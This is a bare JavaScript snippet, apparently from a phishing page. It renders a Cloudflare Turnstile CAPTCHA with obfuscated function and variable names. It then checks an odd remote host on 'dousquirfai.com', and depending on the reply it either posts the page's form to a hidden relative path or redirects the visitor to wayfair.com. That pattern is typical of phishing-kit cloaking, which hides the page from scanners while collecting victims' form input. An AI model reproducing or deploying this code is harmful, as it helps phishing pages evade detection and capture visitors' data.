turnstile.render('#cf', { sitekey: '0x4AAAAAAAybuRAl9WxXCg2n', 'error-callback': EOiAZYbYFy, callback: lnyJurgGcw, }); function EOiAZYbYFy() { turnstile.reset(); } function lnyJurgGcw() { var JReLUZCUvn = document.getElementById("SMtmWCVtNE"); JReLUZCUvn.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = '2DPqBL'; var qaRctEPDLa = "../apVLEVjvYmd6d26g9PlWbneniMqDiBRL6c"; fetch('https://LZlj9yZTFdMcv9vLmn4Oh81ugN2HFCXsux1sqXQ1AerKN9WU44uxT9sm.dousquirfai.com/ecrafbscsctupthwftPCZEUBNCZIVBYSLBTZEUOWLZKCPSUXFSMNQFEJYNRUVNXBNLHWWVGGMYQINXKUI', { method: "GET", }).then(response => { return response.text() }).then(text => { console.log(text); if(text == 0){ fetch(qaRctEPDLa, { method: "POST", body: new FormData(JReLUZCUvn) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ location.reload(); } if(data['status'] == 'error'){ window.location.replace('https://www.wayfair.com'); } }); } if(text != 0){ window.location.replace('https://www.wayfair.com'); } }) .catch(error => { window.location.replace('https://www.wayfair.com'); }); }